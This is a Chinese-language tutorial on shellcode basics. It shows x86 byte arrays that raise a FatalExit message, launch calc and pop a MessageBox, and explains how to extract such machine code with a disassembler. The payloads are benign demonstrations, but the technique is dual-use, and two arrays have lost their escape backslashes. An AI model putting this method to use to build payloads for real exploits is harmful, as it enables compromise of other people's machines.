ShellCode入门（提取ShellCode）

什么是ShellCode:

在计算机安全中，shellcode是一小段代码，可以用于软件漏洞利用的载荷。被称为“shellcode”是因为它通常启动一个命令终端，攻击者可以通过这个终端控制受害的计算机，但是所有执行类似任务的代码片段都可以称作shellcode。Shellcode通常是以机器码形式编写的，所以我们要学习硬编码。

char shellcode[] = "x31xd2xb2x30x64x8bx12x8bx52x0cx8bx52x1cx8bx42"
                   "x08x8bx72x20x8bx12x80x7ex0cx33x75xf2x89xc7x03"
                   "x78x3cx8bx57x78x01xc2x8bx7ax20x01xc7x31xedx8b"
                       "x34xafx01xc6x45x81x3ex46x61x74x61x75xf2x81x7e"
                   "x08x45x78x69x74x75xe9x8bx7ax24x01xc7x66x8bx2c"
                   "x6fx8bx7ax1cx01xc7x8bx7cxafxfcx01xc7x68x79x74"
                           "x65x01x68x6bx65x6ex42x68x20x42x72x6fx89xe1xfe"
                   "x49x0bx31xc0x51x50xffxd7";
 

int main(int argc, char **argv)
{
    _asm
    {
        lea eax,shellcode
        call eax
    }
}

上面的就是ShellCode，是汇编对应的机器码，通过反编译就可以看到此机器码。

弹出计算机ShellCode。

char shellcode[] = {
    0x55,0x8B,0xEC,0x83,0xEC,0x14,0xC7,0x45,0xF8,0x63,0x61,0x6C,0x63,0xC7,0x45,0xFC,
    0x00,0x00,0x00,0x00,0xE8,0x67,0x00,0x00,0x00,0x89,0x45,0xEC,0x68,0xB9,0x6B,0xFF,
    0xCB,0x8B,0x45,0xEC,0x50,0xE8,0x06,0x01,0x00,0x00,0x83,0xC4,0x08,0x89,0x45,0xF4,
    0x68,0x13,0xB9,0xE6,0x25,0x8B,0x4D,0xEC,0x51,0xE8,0xF2,0x00,0x00,0x00,0x83,0xC4,
    0x08,0x89,0x45,0xF0,0x6A,0x01,0x8D,0x55,0xF8,0x52,0xFF,0x55,0xF0,0x6A,0x00,0xFF,
    0x55,0xF4,0x8B,0xE5,0x5D,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
    0x55,0x8B,0xEC,0x64,0xA1,0x18,0x00,0x00,0x00,0x5D,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,
    0x55,0x8B,0xEC,0xE8,0xE8,0xFF,0xFF,0xFF,0x8B,0x40,0x30,0x5D,0xC3,0xCC,0xCC,0xCC,
    0x55,0x8B,0xEC,0x83,0xEC,0x10,0xE8,0xE5,0xFF,0xFF,0xFF,0x89,0x45,0xF4,0x8B,0x45,
    0xF4,0x8B,0x48,0x0C,0x8B,0x51,0x1C,0x89,0x55,0xF8,0xC7,0x45,0xFC,0x00,0x00,0x00,
    0x00,0xEB,0x09,0x8B,0x45,0xFC,0x83,0xC0,0x01,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x02,
    0x7D,0x26,0x8B,0x4D,0xF8,0x8B,0x11,0x83,0xEA,0x10,0x89,0x55,0xF0,0x8B,0x45,0xF0,
    0x8B,0x48,0x30,0x0F,0xB7,0x51,0x10,0x83,0xFA,0x2E,0x75,0x02,0xEB,0x0A,0x8B,0x45,
    0xF8,0x8B,0x08,0x89,0x4D,0xF8,0xEB,0xCB,0x8B,0x55,0xF0,0x8B,0x42,0x18,0x8B,0xE5,
    0x5D,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
    0x55,0x8B,0xEC,0x51,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x0F,0xBE,
    0x08,0x85,0xC9,0x74,0x1F,0x8B,0x55,0xFC,0xC1,0xE2,0x05,0x03,0x55,0xFC,0x8B,0x45,
    0x08,0x0F,0xBE,0x08,0x03,0xD1,0x89,0x55,0xFC,0x8B,0x55,0x08,0x83,0xC2,0x01,0x89,
    0x55,0x08,0xEB,0xD7,0x8B,0x45,0xFC,0x8B,0xE5,0x5D,0xC3,0xCC,0xCC,0xCC,0xCC,0xCC,
    0x55,0x8B,0xEC,0x83,0xEC,0x24,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,
    0x89,0x45,0xFC,0x8B,0x4D,0xFC,0x8B,0x55,0x08,0x03,0x51,0x3C,0x89,0x55,0xE4,0x8B,
    0x45,0xE4,0x8B,0x4D,0x08,0x03,0x48,0x78,0x89,0x4D,0xF0,0x8B,0x55,0xF0,0x8B,0x45,
    0x08,0x03,0x42,0x20,0x89,0x45,0xF4,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0xEB,0x09,
    0x8B,0x4D,0xF8,0x83,0xC1,0x01,0x89,0x4D,0xF8,0x8B,0x55,0xF0,0x8B,0x45,0xF8,0x3B,
    0x42,0x18,0x73,0x30,0x8B,0x4D,0xF4,0x8B,0x55,0x08,0x03,0x11,0x89,0x55,0xE0,0x8B,
    0x45,0xE0,0x50,0xE8,0x58,0xFF,0xFF,0xFF,0x83,0xC4,0x04,0x3B,0x45,0x0C,0x75,0x09,
    0xC7,0x45,0xE8,0x01,0x00,0x00,0x00,0xEB,0x0B,0x8B,0x4D,0xF4,0x83,0xC1,0x04,0x89,
    0x4D,0xF4,0xEB,0xBC,0x83,0x7D,0xE8,0x00,0x74,0x2F,0x8B,0x55,0xF0,0x8B,0x45,0x08,
    0x03,0x42,0x24,0x8B,0x4D,0xF8,0x66,0x8B,0x14,0x48,0x66,0x89,0x55,0xDC,0x8B,0x45,
    0xF0,0x8B,0x4D,0x08,0x03,0x48,0x1C,0x0F,0xB7,0x55,0xDC,0x8B,0x45,0x08,0x03,0x04,
    0x91,0x89,0x45,0xEC,0x8B,0x45,0xEC,0xEB,0x02,0x33,0xC0,0x8B,0xE5,0x5D,0xC3,0xCC
};

提取ShellCode。
先用汇编或者C语言编写我们想要的程序，然后OD发编译，进去提取硬编码，就是我们的ShellCode。
细节注意：如果我们先定义了字符串，那么编译器会自动加载字符串的地址而不是它本身，所以我们要显示的加载字符串的Ascii码。
例子：
我们的ShellCode是这个Msg弹窗。

MessageBox(NULL,"ONDragon","ONDragon",0);

它的字符串要自己手动用汇编处理而不是直接用OD反汇编的代码，因为它加载的是字符串的地址，而不是内容，所以我们要稍微修改一下。

char shellcode[] = "x33xDB"
                   "x53"                   
                   "x68x61x67x6Fx6E"
                   "x68x4Fx4Ex44x72"
                   "x8BxC4"
                   "x53"
                   "x50"
                   "x50"
                   "x53"
                   "xB8x11xEAxACx76"
                   "xFFxD0";

就可以弹出我们的ShellCode啦。

提取ShellCode 总结：
先正向写出我们想要的代码。
用反编译软件，找到对应的硬编码。
适当修改硬编码。